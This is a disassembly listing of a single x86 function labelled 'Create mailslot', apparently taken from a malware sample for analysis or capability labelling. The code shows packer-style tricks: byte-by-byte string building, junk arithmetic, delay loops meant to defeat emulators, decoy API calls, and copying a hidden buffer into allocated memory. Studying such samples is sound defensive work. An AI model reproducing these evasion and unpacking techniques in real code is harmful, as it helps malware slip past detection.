Function at 0x401683
Capabilities:
Create mailslot

Disassembly:
mov eax, 0x420964
call fcn.004208c0
sub esp, 0x28
push str.kernel32.dll
mov byte [0x5261f88], 0x6b
mov byte [0x5261f92], 0x6c
mov byte [0x5261f8e], 0x33
mov byte [0x5261f8b], 0x6e
mov byte [0x5261f8c], 0x65
mov byte [0x5261f8f], 0x32
mov byte [0x5261f8d], 0x6c
mov byte [0x5261f89], 0x65
mov byte [0x5261f91], 0x64
call dword [sym.imp.KERNEL32.DLL_LoadLibraryW]
mov dword [0x5261f84], eax
mov dword [ebp - 0x10], 0x2dd
cmp dword [ebp - 0x10], 0x2dd
jne 0x401946
mov eax, dword [0x528b948]
push ebx
push esi
xor esi, esi
push edi
xor ecx, ecx
cmp ecx, 0x330b9c
jne 0x40170c
mov eax, dword [0x427544]
inc ecx
cmp ecx, 0x37de2f
jl 0x4016ff
add eax, 0xac585
push eax
push esi
mov dword [0x528b948], eax
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
push 0x52642c0
mov dword [0x52618e4], eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
cmp eax, 0x69c79
jne 0x401804
push esi
push esi
push esi
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_SetAclInformation]
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateMailslotW]
mov dword [ebp - 0x18], esi
sub dword [ebp - 0x18], 0x4dcdb37c
xor eax, 0x1d7e882d
sub dword [ebp - 0x18], 0x1a8d0fea
add dword [ebp - 0x18], 0x685ac366
shr eax, 2
sub dword [ebp - 0x18], 0x5b5ae140
shr ebx, 0x17
add dword [ebp - 0x18], 0x501b0914
xor eax, 0x533e925c
add dword [ebp - 0x18], 0xb3fd82c
sub dword [ebp - 0x18], 0xf843e52
shl eax, 0x1a
sub dword [ebp - 0x18], 0x46ad3208
add dword [ebp - 0x18], 0x2f2f6a00
mov eax, dword [ebp - 0x18]
push str.telokagikavetitogone
push str.vukuxekewa__f
push 0x429c40
mov dword [0x52642bc], eax
call fcn.00402218
add esp, 0xc
push str.ruyejegomu
lea ecx, [ebp - 0x34]
call fcn.0040195c
mov dword [ebp - 4], esi
push esi
push esi
call fcn.004028c5
push esi
call fcn.004027a5
add esp, 0xc
or dword [ebp - 4], 0xffffffff
push esi
push 1
lea ecx, [ebp - 0x34]
call fcn.00401a3b
mov eax, dword [0x427138]
mov dword [0x528b94c], eax
mov edi, 0x30aebfd
call dword [sym.imp.KERNEL32.DLL_GetLastError]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
dec edi
jne 0x401813
xor eax, eax
cmp dword [0x528b948], esi
jbe 0x40184b
mov ecx, dword [0x528b94c]
mov cl, byte [ecx + eax + 0xac585]
mov edx, dword [0x52618e4]
mov byte [edx + eax], cl
inc eax
cmp eax, dword [0x528b948]
jb 0x40182c
call fcn.00401103
mov dword [ebp - 0x14], esi
and eax, 0x58bf1765
sub dword [ebp - 0x14], 0x140ebae8
shl eax, 0x14
add dword [ebp - 0x14], 0x140ebae8
and eax, 0x3f70c298
sub dword [ebp - 0x14], 0x69073b06
and ebx, 0x4e158616
add dword [ebp - 0x14], 0x69073b06
shr eax, 0x14
and ebx, 0xce25d8
xor ebx, 0x375a9720
sub dword [ebp - 0x14], 0x5e843aa6
shr ebx, 3
sub dword [ebp - 0x14], 0x158aabae
xor eax, 0x161b0f35
add dword [ebp - 0x14], 0xa664f5a
add dword [ebp - 0x14], 0x69a896fa
add dword [ebp - 0x14], 0x40
call fcn.004014df
xor edi, edi
cmp dword [0x528b948], 0x3da
jne 0x401928
mov dword [ebp - 0x18], esi
xor eax, 0x50b10717
sub dword [ebp - 0x18], 0x6de261ce
xor eax, 0x20698eb4
add dword [ebp - 0x18], 0x6de261ce
sub dword [ebp - 0x18], 0x77002ba0
add dword [ebp - 0x18], 0x2427b7e6
and eax, 0x495849f8
sub dword [ebp - 0x18], 0x2ca74b74
mov ebx, 0x6db0261a
add dword [ebp - 0x18], 0x7f7fbf2e
sub dword [ebp - 0x18], 0x16181986
and eax, 0x70aaadb7
add dword [ebp - 0x18], 0x16181986
mov eax, dword [ebp - 0x18]
mov dword [0x52642b8], eax
cmp edi, 0x15d6bb
jne 0x401935
call fcn.00401652
inc edi
cmp edi, 0x646a7b
jl 0x4018c0
call fcn.0040164c
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
leave
ret